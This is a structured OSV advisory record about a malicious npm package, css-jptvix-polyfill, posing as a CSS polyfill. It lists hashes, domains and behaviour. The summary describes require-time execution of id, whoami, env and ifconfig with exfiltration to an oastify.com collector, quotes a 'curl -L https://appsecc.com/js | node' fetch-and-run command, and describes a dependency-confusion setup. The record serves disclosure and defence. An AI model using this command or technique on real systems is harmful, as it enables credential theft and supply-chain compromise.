Malicious code in css-jptvix-polyfill (npm)

{
  "id": "6ea8abf261df8a03ff689917b4ccc978c8472fc1fa0587f9372f15279834e495",
  "url": "https://osv.dev/vulnerability/MAL-2026-17638",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "Malicious code in css-jptvix-polyfill (npm)",
    "summary": "css-jptvix-polyfill@1.0.0 was published to npm on 2026-10-06 07:29 UTC by user naorya and was unpublished by npm on 2026-10-06 15:04 UTC after a malware report. It is described as a CSS polyfill but contains no polyfill: index.js is an empty module, registry-manifest.min.json maps Wix-internal module names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, ...) to static.parastorage.com (Wix CDN) URLs, and thunderboltRegistry.js carries the payload, which runs at require time as a top-level IIFE. Behavior of thunderboltRegistry.js: (1) obtains child_process through require('child_process'), require('node:child_process') or a fresh Module instance if both are blocked; (2) runs the host commands id, id -un || whoami, env and ifconfig || ip addr with execSync and sends each output, together with os.hostname(), to an out-of-band collector at orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com as cmd=id, cmd=whoami, cmd=env and cmd=ifconfig; the env step leaks every environment variable of the host, including tokens and cloud credentials; (3) runs curl -L https://appsecc.com/js | node, i.e. downloads and executes remote code, and reports the result as cmd=reverse-shell; (4) sends a beacon tagged rce-poc with the Node version, platform and process id; (5) exports Proxy objects under the Wix-internal module names, which together with the manifest indicates a dependency-confusion attempt against that organization's private packages. Trigger: on import (require). Type",
    "evidence": "osv:MAL-2026-17638",
    "products": [
      {
        "name": {
          "value": "css-jptvix-polyfill",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [],
        "affected_versions": [
          {
            "value": "1.0.0",
            "evidence": "/affected/0/versions"
          }
        ]
      }
    ],
    "severity": "unknown",
    "structured": {
      "id": "MAL-2026-17638",
      "aliases": [
        "MAL-2026-17638"
      ],
      "affected": [
        {
          "package": {
            "name": "css-jptvix-polyfill",
            "purl": "pkg:npm/css-jptvix-polyfill",
            "ecosystem": "npm"
          },
          "versions": [
            "1.0.0"
          ],
          "database_specific": {
            "cwes": [
              {
                "name": "Embedded Malicious Code",
                "cweId": "CWE-506",
                "description": "The product contains code that appears to be malicious in nature."
              }
            ],
            "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json",
            "indicators": {
              "evidence_files": [
                {
                  "path": "thunderboltRegistry.js",
                  "tlsh": "3d7143b5b99df02066c33438db7f5049b4bb8a672c6caee0b40859b01f3585c01be6f4",
                  "sha256": "8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7"
                }
              ],
              "package_integrity": [
                {
                  "hashes": {
                    "sha1": "9e700b2c0520fc6a236e4b14db5db5c89b6e8ea4",
                    "sha512_sri": "sha512-Js0W2iiynerl/vPEpcWopmR1zUdevE9QFxO+uMawx929wvihQ2kbi13xV6DkdsiXvvjczR2MRVWNLYtM1xpDeA=="
                  },
                  "filename": "css-jptvix-polyfill-1.0.0.tgz"
                }
              ]
            }
          }
        }
      ],
      "modified": "2026-10-08T22:45:06.809383399Z",
      "provider": "osv",
      "references": [
        "https://www.npmjs.com/package/css-jptvix-polyfill/v/1.0.0"
      ],
      "provider_metadata": {
        "iocs": {
          "urls": [
            "https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com/",
            "https://appsecc.com/js"
          ],
          "files": [
            {
              "note": "payload: runs on require, executes id/whoami/env/ifconfig and curl | node, exfiltrates to oastify.com",
              "paths": [
                "thunderboltRegistry.js"
              ],
              "source": "PACKAGE_ARCHIVE",
              "digests": {
                "sha256": "8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7"
              }
            },
            {
              "note": "maps Wix-internal module names to static.parastorage.com URLs (dependency confusion)",
              "paths": [
                "registry-manifest.min.json"
              ],
              "source": "PACKAGE_ARCHIVE",
              "digests": {
                "sha256": "64dae1c27b8491f8eb0a9169038ff5ac62eca6265e63f3e6a1c725b275074a59"
              }
            }
          ],
          "domains": [
            "orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com",
            "appsecc.com"
          ]
        },
        "malicious-packages-origins": [
          {
            "id": "IN-MAL-2026-021098",
            "sha256": "cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa",
            "source": "amazon-inspector",
            "versions": [
              "1.0.0"
            ],
            "import_time": "2026-10-06T20:20:38.654635904Z",
            "modified_time": "2026-10-06T19:51:06Z"
          }
        ]
      }
    },
    "related_cves": [],
    "security_relevant": true,
    "severity_evidence": null
  },
  "source_id": "core-osv",
  "document_id": 107824,
  "published_at": "2026-10-06T19:51:06+00:00"
}